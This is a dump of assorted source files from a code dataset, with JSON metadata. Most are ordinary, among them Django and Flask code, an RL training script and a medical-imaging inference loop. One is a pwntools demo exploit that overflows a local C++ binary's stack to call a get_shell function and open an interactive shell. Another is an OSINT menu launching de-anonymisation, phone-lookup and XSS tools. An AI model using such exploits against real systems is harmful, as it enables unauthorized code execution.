print(result[0].text)\n print({\n 'name': article[0].text,\n 'category': info[1][0].text,\n 'date': info[2].text,\n 'comment': info[4][0].text,\n 'name_ex': video_name,\n 'video_format': video_format,\n 'video_size': video_size,\n 'video_time': video_time,\n 'images': images\n })\n","sub_path":"main1.py","file_name":"main1.py","file_ext":"py","file_size_in_byte":3981,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"540393453","text":"from django.test import TestCase\nfrom django.core.urlresolvers import reverse\nfrom django.contrib.auth.models import User, Group\nfrom whats_fresh.whats_fresh_api.models import Image\nfrom haystack.query import SearchQuerySet\nfrom collections import OrderedDict\n\n\nclass ListImageTestCase(TestCase):\n fixtures = ['thirtythree']\n\n def setUp(self):\n user = User.objects.create_user(\n 'temporary', 'temporary@gmail.com', 'temporary')\n user.save()\n\n admin_group = Group(name='Administration Users')\n admin_group.save()\n user.groups.add(admin_group)\n\n response = self.client.login(\n username='temporary', password='temporary')\n self.assertEqual(response, True)\n\n def test_not_logged_in(self):\n self.client.logout()\n\n response = self.client.get(\n reverse('edit-image', kwargs={'id': '1'}))\n self.assertRedirects(response, '/login?next=/entry/images/1')\n\n def test_url_endpoint(self):\n url = reverse('entry-list-images')\n self.assertEqual(url, '/entry/images')\n\n def test_list_items(self):\n \"\"\"\n Tests to see if the list of images contains the proper\n images and proper image data\n \"\"\"\n\n page_1 = self.client.get(reverse('entry-list-images')).context\n page_2 = self.client.get(\n '{}?page=2'.format(reverse('entry-list-images'))).context\n page_3 = self.client.get(\n '{}?page=3'.format(reverse('entry-list-images'))).context\n page_4 = self.client.get(\n '{}?page=4'.format(reverse('entry-list-images'))).context\n page_nan = self.client.get(\n '{}?page=NaN'.format(reverse('entry-list-images'))).context\n\n self.assertEqual(\n list(page_1['item_list']),\n list(Image.objects.order_by('name')[:15]))\n\n self.assertEqual(\n list(page_2['item_list']),\n list(Image.objects.order_by('name')[15:30]))\n\n self.assertEqual(\n list(page_3['item_list']),\n list(Image.objects.order_by('name')[30:33]))\n\n # Page 4 should be identical to Page 3, as these fixtures\n # have enough content for three pages (15 items per page, 33 items)\n\n self.assertEqual(\n list(page_3['item_list']),\n list(page_4['item_list']))\n\n # Page NaN should be identical to Page 1, as Django paginator returns\n # the first page if the page is not an int\n\n self.assertEqual(\n list(page_1['item_list']),\n list(page_nan['item_list']))\n\n def test_search_result(self):\n search_result = self.client.get(\n '{}?search=20'.format(reverse('entry-list-images'))).context\n\n self.assertEqual(list(search_result['item_list']),\n list(OrderedDict.fromkeys(item.object for item in\n SearchQuerySet().models(Image)\n .autocomplete(content='20'))))\n","sub_path":"whats_fresh/whats_fresh_api/tests/views/entry/test_list_images.py","file_name":"test_list_images.py","file_ext":"py","file_size_in_byte":2986,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"560743471","text":"#! /usr/bin/env python\n\n# https://docs.pwntools.com/en/stable/elf/corefile.html\n\nfrom pwn import *\n\ntarget_name = './vuln_cpp.exe'\n# Set up pwntools for the correct architecture\nexe = context.binary = ELF(target_name)\n\n#print(exe.symbols)\n\n# Generate a cyclic pattern so that we can auto-find the offset\npayload = cyclic(128, n=8)\n\n# Run the process once so that it crashes\np = process([target_name, payload])\np.wait() # wait for close\n\n# Get the core dump\ncore = p.corefile\n\n# Our cyclic pattern should have been used as the crashing address, make sure!\n#assert p32(core.eip) in payload\n\noffset = cyclic_find(core.read(core.esp, 8), n=8) - 4\n#print('offset=', offset)\n# search for get_shell function address\n# in C; func_address = exe.symbols.get_shell\n# in C++; parse the symbols dictionary to look for function name in key\nfor symbol in exe.symbols.keys():\n if symbol.find(\"get_shell\") >=0:\n func_address = exe.symbols[symbol]\n break\n\n#print(hex(func_address))\n\npayload = flat({\n offset: func_address\n}, filler='A')\n\n#print(payload)\n\nio = process([target_name, payload])\n# receive and print the payload\nprint(io.recvline())\n# Get a shell!\nio.sendline(b'id')\nprint(io.recvline())\n\n# get interactive shell\nio.interactive()\n","sub_path":"pwntools-demos/basic_exploit/exploit_vuln_cpp.py","file_name":"exploit_vuln_cpp.py","file_ext":"py","file_size_in_byte":1244,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"355603591","text":"# coding:UTF-8\nimport json\nimport time\nimport urllib\n\nimport jsonpath\nimport requests\n\n\ndef sendMes(group_id, msg):\n msg = urllib.parse.quote(msg)\n\n url = \"http://127.0.0.1:5700/send_group_msg?group_id=\" + group_id + \"&message=\" +msg\n response = requests.get(url)\n if response.status_code != 200:\n print(\"消息推送失败\")\n\n\ndef sendText(group_id):\n response = requests.get(\"http://127.0.0.1:5700/send_group_msg?group_id=\" + group_id + \"&message=世界你好 \\n \"\n \"hellow world!\")\n\ndef get_group_list():\n url = \"http://127.0.0.1:5700/get_group_list\"\n response = requests.get(url)\n dict = json.loads(response.text)\n data = jsonpath.jsonpath(dict, \"$.data\")[0]\n return data\n\n\nif __name__ == '__main__':\n # sendMes('827718520','你好啊')\n\n print(get_group_list())","sub_path":"com/parttimejob/channel/qq.py","file_name":"qq.py","file_ext":"py","file_size_in_byte":900,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"416282051","text":"# -*- coding: utf-8 -*-\n\"\"\"Run module for DQN on Pong-v0.\n\n- Author: Curt Park\n- Contact: curt.park@medipixel.io\n\"\"\"\n\nimport argparse\nimport multiprocessing\n\nimport gym\nimport torch\nimport torch.nn as nn\nimport torch.optim as optim\n\nimport algorithms.common.env.utils as env_utils\nfrom algorithms.common.env.utils import env_generator, make_envs\nfrom algorithms.common.networks.cnn import CNNLayer\nfrom algorithms.dqn.agent import Agent\nfrom algorithms.dqn.networks import DuelingCNN, DuelingMLP\nfrom examples.pong_v0.wrappers import WRAPPERS\n\ndevice = torch.device(\"cuda:0\" if torch.cuda.is_available() else \"cpu\")\nn_cpu = multiprocessing.cpu_count()\n\n# hyper parameters\nhyper_params = {\n \"GAMMA\": 0.99,\n \"TAU\": 5e-3,\n \"W_Q_REG\": 1e-7,\n \"BUFFER_SIZE\": int(2e5),\n \"BATCH_SIZE\": 64,\n \"LR_DQN\": 1e-4,\n \"WEIGHT_DECAY\": 1e-6,\n \"MAX_EPSILON\": 1.0,\n \"MIN_EPSILON\": 0.02,\n \"EPSILON_DECAY\": 3e-6,\n \"PER_ALPHA\": 0.6,\n \"PER_BETA\": 0.4,\n \"PER_EPS\": 1e-6,\n \"GRADIENT_CLIP\": 0.5,\n \"UPDATE_STARTS_FROM\": int(2e4),\n \"MULTIPLE_LEARN\": n_cpu,\n \"N_WORKERS\": n_cpu,\n}\n\n\ndef run(env: gym.Env, args: argparse.Namespace):\n \"\"\"Run training or test.\n\n Args:\n env (gym.Env): openAI Gym environment with continuous action space\n args (argparse.Namespace): arguments including training settings\n state_dim (int): dimension of states\n action_dim (int): dimension of actions\n\n \"\"\"\n # create multiple envs\n # configure environment so that it works for discrete actions\n env_single = env_utils.set_env(env, args, WRAPPERS)\n env_gen = env_generator(\"Pong-v0\", args, WRAPPERS)\n env_multi = make_envs(env_gen, n_envs=hyper_params[\"N_WORKERS\"])\n\n # create a model\n action_dim = env.action_space.n\n hidden_sizes = [256, 256]\n\n def get_cnn_model():\n cnn_model = DuelingCNN(\n cnn_layers=[\n CNNLayer(\n input_size=4,\n output_size=32,\n kernel_size=5,\n pulling_fn=nn.MaxPool2d(3),\n ),\n CNNLayer(\n input_size=32,\n output_size=32,\n kernel_size=3,\n pulling_fn=nn.MaxPool2d(3),\n ),\n CNNLayer(\n input_size=32,\n output_size=64,\n kernel_size=2,\n pulling_fn=nn.MaxPool2d(3),\n ),\n ],\n fc_layers=DuelingMLP(\n input_size=256, output_size=action_dim, hidden_sizes=hidden_sizes\n ),\n ).to(device)\n return cnn_model\n\n dqn = get_cnn_model()\n dqn_target = get_cnn_model()\n dqn_target.load_state_dict(dqn.state_dict())\n\n # create optimizer\n dqn_optim = optim.Adam(\n dqn.parameters(),\n lr=hyper_params[\"LR_DQN\"],\n weight_decay=hyper_params[\"WEIGHT_DECAY\"],\n )\n\n # make tuples to create an agent\n models = (dqn, dqn_target)\n\n # create an agent\n agent = Agent(env_single, env_multi, args, hyper_params, models, dqn_optim)\n agent.env_name = \"Pong-v0\"\n\n # run\n if args.test:\n agent.test()\n else:\n agent.train()\n","sub_path":"examples/pong_v0/dqn.py","file_name":"dqn.py","file_ext":"py","file_size_in_byte":3236,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"532551564","text":"import vnet\r\nfrom argparse import ArgumentParser\r\nimport torch\r\nimport numpy as np\r\nfrom os import listdir\r\nfrom os.path import isfile, join\r\nfrom scipy.ndimage import zoom\r\n\r\n\r\ndef main(hparams):\r\n\r\n checkpoints = [\r\n '/home/ohansen/Documents/code/logs/september/vnet_512_valsub2_diceloss_rc_8datasets_from_ckpt_485/_ckpt_epoch_1970.ckpt'\r\n ]\r\n\r\n data_dir = '/home/AG_Salditt/Messzeiten/2020/GINIX/run96_LTP/offline_analysis/OH/npDataAndPrediction/'\r\n save_dir = '/home/AG_Salditt/Messzeiten/2020/GINIX/run96_LTP/offline_analysis/OH/NN_prediction/'\r\n\r\n name_addition = '_type=single_size=1000x1000x1060.raw'\r\n #orig_size = (512, 512, 512)\r\n #save_size = (1060, 1000, 1000)\r\n\r\n zoom_factors = (1060/512, 1000/512, 1000/512)\r\n\r\n # print('Zoom factors: ', zoom_factors)\r\n\r\n size = 512\r\n step_size = 256\r\n step = int(size/step_size)\r\n\r\n files = [f for f in listdir(data_dir) if isfile(join(data_dir, f))]\r\n\r\n if torch.cuda.is_available():\r\n dev = \"cuda:0\"\r\n else:\r\n dev = \"cpu\"\r\n\r\n for i, filename in enumerate(files):\r\n typ = filename.split('_', -1)[0]\r\n idx = filename.split('_', -1)[1]\r\n idx = idx.split('.', -1)[0]\r\n\r\n if typ == 'Covid':\r\n print('Current file: ', filename)\r\n\r\n data = np.load(data_dir + filename)\r\n reco_mask = np.zeros((size, size, size), dtype=np.float32)\r\n\r\n data = np.absolute(1-data)\r\n mean = 317.3661\r\n std = 2.83739\r\n inference_std = np.std(data)\r\n inference_mean = np.mean(data)\r\n data += (-inference_mean)\r\n data *= (std/inference_std)\r\n data += mean\r\n\r\n print('Data mean: ', np.mean(data))\r\n print('Data std: ', np.std(data))\r\n\r\n if idx == '4115':\r\n zoom_factors = (1004/512, 1000/512, 1000/512)\r\n name_addition = '_type=single_size=1000x1000x1004.raw'\r\n else:\r\n zoom_factors = (1060/512, 1000/512, 1000/512)\r\n name_addition = '_type=single_size=1000x1000x1060.raw'\r\n\r\n for i, ckpt in enumerate(checkpoints):\r\n print('Current model ckpt: ', ckpt)\r\n\r\n model = vnet.VNet.load_from_checkpoint(checkpoint_path=ckpt)\r\n device = torch.device(dev)\r\n model = model.to(device)\r\n model.eval()\r\n\r\n with torch.no_grad():\r\n for x in range(step):\r\n for y in range(step):\r\n for z in range(step):\r\n\r\n sub_data = data[x*step_size:(x+1)*step_size, y*step_size:(y+1)*step_size, z*step_size:(z+1)*step_size]\r\n sub_data = sub_data[np.newaxis, np.newaxis, ...]\r\n pred_mask = model(torch.from_numpy(sub_data).float().to(device))\r\n # print('Pred mask shape: ', pred_mask.size(), ' x,y,z: ', x, y, z)\r\n sig_pred_mask = torch.sigmoid(pred_mask.cpu()).detach().numpy()\r\n sig_pred_mask = np.squeeze(sig_pred_mask)\r\n reco_mask[x*step_size:(x+1)*step_size, y*step_size:(y+1)*step_size, z*step_size:(z+1)*step_size] += sig_pred_mask\r\n\r\n reco_mask = reco_mask / float(len(checkpoints))\r\n reco_mask = np.array((reco_mask > 0.123), dtype=np.float32)\r\n # reco_mask = zoom(reco_mask, zoom_factors, order=0)\r\n # print('Zoom factors: ', zoom_factors)\r\n # reco_mask = zoom(reco_mask, zoom_factors)\r\n reco_mask = reco_mask.astype(np.float32)\r\n np.save(save_dir+'prob_mask_512', reco_mask)\r\n reco_mask.tofile(save_dir+'prob_mask_512.raw')#+idx+name_addition)\r\n\r\n else:\r\n continue\r\n\r\n\r\nif __name__ == '__main__':\r\n parser = ArgumentParser()\r\n args = parser.parse_args()\r\n\r\n main(args)\r\n","sub_path":"inference_multi_to_raw.py","file_name":"inference_multi_to_raw.py","file_ext":"py","file_size_in_byte":3996,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"624410509","text":"from flask import Response, jsonify\nfrom flask_restplus import Namespace, Resource, reqparse\nfrom models import *\nfrom datetime import datetime\n\napi = Namespace('rent_return', description='RENT and RETURN operations')\n\nparser = reqparse.RequestParser()\nparser.add_argument('user_id', help='The user\\'s id')\nparser.add_argument('book_id', help='The book\\'s id')\nparser.add_argument('rent_date', help='The rent date of the book')\nparser.add_argument('return_date', help='The return date of the book')\n\n\n@api.route('')\nclass RentList(Resource):\n @api.doc(responses={\n 201: 'Success',\n })\n @api.doc('get all rent and return records')\n def get(self):\n '''\n Get all records.\n :rtype: List\\\n '''\n query_record = RentReturn.query.all()\n response = [record.to_json() for record in query_record]\n return Response(json.dumps(response), mimetype='application/json', status=201)\n\n\n@api.route('/')\n@api.param('user_id', 'The user identifier')\nclass RentUser(Resource):\n @api.doc(responses={\n 201: 'Success',\n })\n @api.doc('get all books the user has not return')\n def get(self, user_id):\n \"\"\"\n Get all books the user borrows and returns.\n :param user_id: user's id\n :return: a list of RentReturn record\n :rtype: List\\\n \"\"\"\n records = db.session.query(RentReturn, Book).filter(RentReturn.user_id == user_id).filter(\n RentReturn.book_id == Book.book_id).filter(RentReturn.status == 'RENT').all()\n response = [json.dumps({'book_id': book.book_id, 'book_name': book.book_name, 'author': book.author,\n 'genre': book.genre, 'rent_date': rent_return.rent_date},\n default=datetime_handler) for rent_return, book\n in records]\n return Response(json.dumps(response), mimetype='application/json', status=201)\n\n\n@api.route('//')\n@api.param('user_id', 'The user identifier')\n@api.param('book_id', 'The book identifier')\nclass RentBook(Resource):\n @api.doc(responses={\n 201: 'Success',\n 401: 'Book has been borrowed'\n })\n @api.doc('user borrows a book')\n def post(self, user_id, book_id):\n '''\n User borrows a book.\n :param user_id: user's id\n :param book_id: book's id\n :return: a RentReturn record\n :rtype: RentReturn\n '''\n args = parser.parse_args()\n date_string = datetime.fromtimestamp(int(args['rent_date']) / 1000).strftime(\n \"%Y-%m-%d %H:%M:%S\")\n rent_date = datetime.strptime(date_string, \"%Y-%m-%d %H:%M:%S\")\n\n book = Book.query.filter_by(book_id=book_id).first()\n if not book.available:\n return None, 401\n book.available = False\n\n new_record = RentReturn(user_id, book_id, rent_date)\n db.session.add(new_record)\n db.session.commit()\n return Response(new_record.to_json(), mimetype='application/json', status=201)\n\n @api.doc(responses={\n 201: 'Success',\n 401: 'User did not borrow the book',\n 402: 'Invalid arguments'\n })\n @api.doc('user returns a book')\n def put(self, user_id, book_id):\n '''\n User returns a book.\n :param user_id: user's id\n :param book_id: book's id\n :return: a RentReturn record\n :rtype: RentReturn\n '''\n args = parser.parse_args()\n date_string = datetime.fromtimestamp(int(args['return_date']) / 1000).strftime(\n \"%Y-%m-%d %H:%M:%S\")\n return_date = datetime.strptime(date_string, \"%Y-%m-%d %H:%M:%S\")\n\n if return_date is None:\n return None, 402\n record = RentReturn.query.filter_by(user_id=user_id, book_id=book_id, return_date=None).first()\n if record is None:\n return None, 401\n record.return_date = return_date\n record.status = 'RETURN'\n book = Book.query.filter_by(book_id=book_id).first()\n book.available = True\n db.session.commit()\n data = json.dumps({'user_id': record.user_id, 'status': record.status,\n 'rent_date': record.rent_date, 'return_date': record.return_date},\n default=datetime_handler)\n response = jsonify(data)\n response.status_code = 201\n return response\n","sub_path":"api/rent_return.py","file_name":"rent_return.py","file_ext":"py","file_size_in_byte":4423,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"345290786","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Fri Jun 16 11:44:11 2017\n\n@author: oliviermt\n\"\"\"\n\n#Script pour convertir les tailles de cellules\n\nimport io_bigdft as io\nimport numpy as np\nimport sys\n\ndata_pos, data_at = io.read_ascii(sys.argv[1])\n\ndata_pos = np.where(1-data_pos < 0.02,data_pos,data_pos)\n\nNat = len(data_at)\n\nif Nat == 0:\n x_init = 0\n y_init = 0\nelif Nat >= 29 and Nat <= 34:\n x_init = 4\n z_init = 2\nelif Nat >= 94 and Nat <= 98:\n x_init = 6\n z_init = 4\nelif Nat >= 110 and Nat <= 114:\n x_init = 7\n z_init = 4\nelse:\n print(\"Format de cellule d'entrée non reconnu\")\n exit()\n\nNat_fin = int(sys.argv[2])\n\nif Nat_fin == 180:\n x_fin = 9\n z_fin = 5\n x_cell = 41.9649\n z_cell = 40.38075\nelif Nat_fin == 96:\n x_fin = 6\n z_fin = 4\n x_cell = 27.9766\n z_cell = 32.3046\nelif Nat_fin == 288:\n x_fin = 12\n z_fin = 6\n x_cell = 55.9532\n z_cell = 48.4569\nelif Nat_fin == 60:\n x_fin = 5\n z_fin = 3\n x_cell = 23.31383\n z_cell = 24.22845\nelse:\n print(\"Format de cellule de sortie non reconnu\")\n exit()\n\ndeltax_r = int(np.ceil((x_fin-x_init)/2))\ndeltax_l = int(np.floor((x_fin-x_init)/2))\ndeltaz_u = int(np.ceil((z_fin-z_init)/2))\ndeltaz_d = int(np.floor((z_fin-z_init)/2))\n\nNat_fin = Nat + ((x_fin-x_init)*z_fin + (z_fin-z_init)*x_init)*4\npos_fin = np.zeros([Nat_fin,3])\npos_fin[0:Nat,0] = (data_pos[0:Nat,0]*x_init+deltax_r)/x_fin\npos_fin[0:Nat,1] = data_pos[0:Nat,1]\npos_fin[0:Nat,2] = (data_pos[0:Nat,2]*z_init+deltaz_d)/z_fin\n\nx1 = np.arange(0.,2.*x_fin,2)/(2*x_fin)\nx2 = np.arange(1.,2.*x_fin,2)/(2*x_fin)\nz1 = np.arange(0,4.*z_fin,2)\nz2 = np.arange(1,4.*z_fin,2)\n\nfor i in range(len(z1)):\n if i%2 == 0:\n z2[i] = z2[i]+1\n if i%2 == 1:\n z1[i] = z1[i]-1\n\nfor i in range(2*z_fin):\n if i%2 == 0:\n z1[i] = z1[i]/(4*z_fin)\n z2[i] = z2[i]/(4*z_fin)\n if i%2 == 1:\n z1[i] = z1[i]/(4*z_fin)+1./(12*z_fin)\n z2[i] = z2[i]/(4*z_fin)+1./(12*z_fin)\n\ntempx = []\ntempz = []\n\nfor i in range(deltaz_d*4):\n for j in range(x_fin):\n if i%4 == 0:\n tempx.append(x1[j])\n tempz.append(z1[int(i/2)])\n if i%4 == 1:\n tempx.append(x1[j])\n tempz.append(z1[int((i-1)/2+1)])\n if i%4 == 2:\n tempx.append(x2[j])\n tempz.append(z2[int((i-2)/2)])\n if i%4 == 3:\n tempx.append(x2[j])\n tempz.append(z2[int((i-3)/2+1)])\n \nfor i in range(z_init*4):\n for j in range(deltax_r):\n if i%4 == 0:\n tempx.append(x1[j])\n tempz.append(z1[int(i/2+2*deltaz_d)])\n if i%4 == 1:\n tempx.append(x1[j])\n tempz.append(z1[int((i-1)/2+1+2*deltaz_d)])\n if i%4 == 2:\n tempx.append(x2[j])\n tempz.append(z2[int((i-2)/2+2*deltaz_d)])\n if i%4 == 3:\n tempx.append(x2[j])\n tempz.append(z2[int((i-3)/2+1+2*deltaz_d)])\n for j in range(deltax_l):\n if i%4 == 0:\n tempx.append(x1[j+deltax_r+x_init])\n tempz.append(z1[int(i/2+2*deltaz_d)])\n if i%4 == 1:\n tempx.append(x1[j+deltax_r+x_init])\n tempz.append(z1[int((i-1)/2+1+2*deltaz_d)])\n if i%4 == 2:\n tempx.append(x2[j+deltax_r+x_init])\n tempz.append(z2[int((i-2)/2+2*deltaz_d)])\n if i%4 == 3:\n tempx.append(x2[j+deltax_r+x_init])\n tempz.append(z2[int((i-3)/2+1+2*deltaz_d)])\n\nfor i in range(deltaz_u*4):\n for j in range(x_fin):\n if i%4 == 0:\n tempx.append(x1[j])\n tempz.append(z1[int(i/2+2*deltaz_d+2*z_init)])\n if i%4 == 1:\n tempx.append(x1[j])\n tempz.append(z1[int((i-1)/2+1+2*deltaz_d+2*z_init)])\n if i%4 == 2:\n tempx.append(x2[j])\n tempz.append(z2[int((i-2)/2+2*deltaz_d+2*z_init)])\n if i%4 == 3:\n tempx.append(x2[j])\n tempz.append(z2[int((i-3)/2+1+2*deltaz_d+2*z_init)])\n\ntempx = np.array(tempx)\ntempz = np.array(tempz)\n\npos_fin[Nat:Nat+len(tempx),0] = tempx\npos_fin[Nat:Nat+len(tempz),2] = tempz\npos_fin[Nat:Nat+len(tempz),1] = 20\n\noutput_file = \"out_posinp.ascii\"\n\ng = open(output_file,'w')\ng.write(\"#Fichier de positions à \"+str(Nat_fin)+\" atomes.\\n\")\ng.write(str(x_cell)+\" 0 40\\n\")\ng.write(\"0 0 \"+str(z_cell)+\"\\n\")\ng.write(\"#keyword: atomicd0\\n\")\ng.write(\"#keyword: reduced\\n\")\ng.write(\"#keyword: surface\\n\")\nfor i in range(Nat):\n g.write('%.15f'%(pos_fin[i,0])+\"\\t\"+'%.15f'%(pos_fin[i,1])+\"\\t\"+'%.15f'%(pos_fin[i,2])+\"\\t\"+str(data_at[i])+\"\\n\")\ng.write('#Nouveaux atomes\\n')\nfor i in range(Nat,max(pos_fin.shape)):\n g.write('%.15f'%(pos_fin[i,0])+\"\\t\"+'%.15f'%(pos_fin[i,1])+\"\\t\"+'%.15f'%(pos_fin[i,2])+\"\\tC\\n\")\n","sub_path":"fonctions/grandes_cell/grandes_cell_reduced.py","file_name":"grandes_cell_reduced.py","file_ext":"py","file_size_in_byte":4720,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"438734800","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom module.utils.banner import show_banner\nfrom module.utils import COLORS\nfrom osintsan import menu\nfrom osintsan import main1\nfrom plugins.maildb import maildb\nfrom plugins.macaddress import MacAddressLookup\nfrom prompt_toolkit import prompt\nfrom module.Update import update\n\nimport subprocess\nimport os\nimport webbrowser\nimport time as t\n\n# Developer by Bafomet\ndef repl(): # Read\\xe2\\x80\\x93eval\\xe2\\x80\\x93print loop\n while True:\n print(menu())\n\n choice = None\n while True:\n try:\n user_input = input(f\"{COLORS.GNSL} └──> Выберите опцию : {COLORS.ENDL}\")\n print()\n except KeyboardInterrupt:\n return\n\n if len(user_input) == 0:\n break\n\n try:\n choice = int(user_input)\n except ValueError:\n print(f\"{COLORS.REDL}Неверный ввод!{COLORS.ENDL}\")\n else:\n break\n\n if choice is None:\n continue\n\n if choice == 1:\n from plugins.shodan_io import shodan_host, check_shodan_api\n from plugins.censys import censys_ip\n\n if not check_shodan_api():\n show_banner(clear=True)\n print(f\"{COLORS.REDL}API ключ Shodan'а невалиден! (settings.py){COLORS.REDL}\")\n else:\n print()\n ip = input(\" └──> Введите IP адрес : \")\n\n show_banner(clear=True)\n\n shodan_host(ip)\n censys_ip(ip)\n\n elif choice == 2:\n from plugins.domain import domain\n\n host = input(\" └──> Введите доменное имя : \")\n port = \"\"\n\n while True:\n try:\n print()\n port = input(\" └──> Нажмите enter, или напишите свой варианта порта : \")\n port = int(port)\n except ValueError:\n if port == \"\":\n port = 80\n else:\n continue\n\n if port not in [80, 443]:\n print(\" Неверный порт \")\n continue\n else:\n break\n try:\n domain(host, port)\n finally:\n show_banner(clear=True)\n\n elif choice == 3:\n from plugins.Phonenumber import phone_number, check_phone_api_token\n\n if not check_phone_api_token():\n show_banner(clear=True)\n print(f\"{COLORS.REDL}phone api невалиден! (settings.py){COLORS.REDL}\")\n else:\n ph = input(\" └──> Введи мобильный номер телефона с +7... : \")\n show_banner(clear=True)\n phone_number(ph)\n\n elif choice == 4:\n from plugins.dnsdump import dnsmap\n\n print(\"\\n Работает только с (.com .ru)\\n\")\n dnsmap_inp = input(\" └──> Введите url : \")\n\n show_banner(clear=True)\n dnsmap(dnsmap_inp)\n\n elif choice == 5:\n from plugins.metadata import gps_analyzer\n\n print(\"\\n Пример пути: /home/bafomet/Desktop/deanon.png\\n\")\n img_path = input(\" └──> Укажите путь до фотографии :\")\n\n show_banner(clear=True)\n\n gps_analyzer(img_path)\n\n elif choice == 6:\n from plugins.reverseimagesearch import reverseimagesearch\n\n print(\"\\n Пример пути: /home/bafomet/Desktop/deanon.png\\n\")\n img = input(\" └──> Укажите путь до фотографии :\")\n\n show_banner(clear=True)\n\n reverseimagesearch(img)\n\n elif choice == 7:\n from plugins.shodan_io import check_shodan_api\n from plugins.honeypot import honeypot\n\n if not check_shodan_api():\n show_banner(clear=True)\n print(f\"{COLORS.REDL}`shodan_api` не валиден, поправь в settings.py токен!{COLORS.REDL}\")\n else:\n print()\n hp_inp = input(\" └──> Введите IP адрес : \")\n\n show_banner(clear=True)\n\n honeypot(hp_inp)\n\n elif choice == 8:\n while 1:\n show_banner(clear=True)\n print(\"\")\n mac = prompt(\" └──> Введите mac address: \") \n break\n MacAddressLookup(mac)\n continue\n\n elif choice == 9:\n from module.gui import run_gui\n\n run_gui()\n\n show_banner(clear=True)\n\n elif choice == 10:\n from plugins.torrent import torrent\n \n ip_ = input(\" └──> Введите IP адрес :\")\n\n show_banner(clear=True)\n\n torrent(ip_)\n\n elif choice == 11:\n from module.instagram_search import search_through_instagram\n\n search_through_instagram()\n show_banner(clear=True)\n\n elif choice == 12:\n from module.subzone import subzone\n subzone()\n show_banner(clear=True)\n\n elif choice == 13:\n while 1:\n print(\"\")\n print(\" Пример :google.com\")\n print(\"\")\n web = prompt(\" └──> Введи домен организации :\")\n show_banner(clear=True)\n break\n maildb(web)\n continue\n \n elif choice == 14:\n from module import startadb\n startadb.main()\n show_banner(clear=True)\n\n elif choice == 15:\n os.system(\"cd plugins/Brother;python3 dlc.py -t manual -k start\")\n show_banner(clear=True)\n\n elif choice == 16:\n subprocess.call(\"cd module;python3 hynder.py\", shell=True)\n show_banner(clear=True)\n\n elif choice == 17:\n subprocess.call(\"sudo etherape\", shell=True)\n show_banner(clear=True)\n\n elif choice == 18:\n print()\n print(\" Проверка всех модулей\")\n t.sleep(6)\n print(\" \\nРаботает в штатном режиме\")\n t.sleep(2)\n show_banner(clear=True)\n\n elif choice == 19:\n # Это дополнительный модуль\n show_banner(clear=True)\n os.system(\"cd module/maigret;python3 wizard.py\")\n\n elif choice == 20:\n urls = [\n \"https://search4faces.com\",\n \"https://findclone.ru\",\n \"https://images.google.com\",\n \"https://yandex.ru/images\",\n \"https://tineye.com\",\n \"https://pimeyes.com/en\",\n \"https://carnet.ai\",\n ]\n for url in urls:\n webbrowser.open(url)\n\n show_banner(clear=True)\n\n elif choice == 21:\n from module.Information_services import information_menu\n information_menu()\n show_banner(clear=True)\n\n elif choice == 22:\n webbrowser.open(\"https://canarytokens.org\")\n show_banner(clear=True)\n\n elif choice == 23:\n urls = [\n \"https://protonmail.com/ru\",\n \"https://tutanota.com/ru/blog/posts/anonymous-email\",\n ]\n for url in urls:\n webbrowser.open(url)\n\n show_banner(clear=True)\n\n elif choice == 24:\n from module.password_menu import password_menu\n password_menu()\n show_banner(clear=True)\n\n elif choice == 25:\n os.system(\"cd plugins/xss;python2 xss.py\")\n\n elif choice == 26:\n from module.bx54 import bx_menu\n bx_menu()\n show_banner(clear=True)\n\n elif choice == 27:\n os.system(\"git clone https://github.com/Bafomet666/osint-info\")\n show_banner(clear=True)\n\n elif choice == 28:\n subprocess.call(\"sudo maltego\", shell=True)\n show_banner(clear=True)\n\n elif choice == 29:\n while 1:\n os.system(\"cd module;python3 zoom.py\")\n show_banner(clear=True)\n break\n continue\n\n elif choice == 30:\n from module.deanon_main import deanon_menu\n\n deanon_menu()\n show_banner(clear=True)\n \n elif choice == 55:\n while 1:\n break\n update()\n continue\n\n elif choice == 65:\n webbrowser.open(\"https://t.me/satana666mx\")\n show_banner(clear=True)\n \n elif choice == 75:\n main1()\n\n elif choice == 99:\n show_banner(clear=True)\n\n elif choice == 88:\n from core.repl_huepl import main\n\n main()\n show_banner(clear=True)\n\n elif choice == 00:\n return\n\n else:\n exit()\n os.system(\"clear\")\n print(f\"{COLORS.REDL} Опции такой нет, дурак!{COLORS.ENDL}\")\n\n\nif __name__ == '__main__':\n try:\n repl()\n except KeyboardInterrupt:\n os.system(\"clear\")\n","sub_path":"core/repl_prompt.py","file_name":"repl_prompt.py","file_ext":"py","file_size_in_byte":9607,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"24092350","text":"import torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nimport torch.optim as optim\nimport argparse\nfrom torch.utils.data import Dataset, DataLoader\nfrom torchvision import datasets, models, transforms\nfrom quantize import *\n\ndef num_correct(logits, labels):\n return torch.sum(torch.argmax(logits, dim=1) == labels)\n\ndef main():\n parser = argparse.ArgumentParser(description='Imagenet classifier')\n parser.add_argument('--datapath', default='/media/data/Imagenet')\n parser.add_argument('--batchsize', type=int, default=32)\n args = parser.parse_args()\n\n valdir = os.path.join(args.datapath, 'val')\n valloader = torch.utils.data.DataLoader(\n datasets.ImageFolder(valdir, transforms.Compose([\n transforms.Resize(256),\n transforms.CenterCrop(224),\n transforms.ToTensor(),\n transforms.Normalize(mean=[0.485, 0.456, 0.406],\n std=[0.229, 0.224, 0.225])\n ])),\n batch_size=args.batchsize, shuffle=False, pin_memory=True)\n\n device = torch.device('cuda:0')\n model = models.resnet50(pretrained=True).to(device)\n qmodel = QuantizedClassifier(model, centers=centers)\n centers = 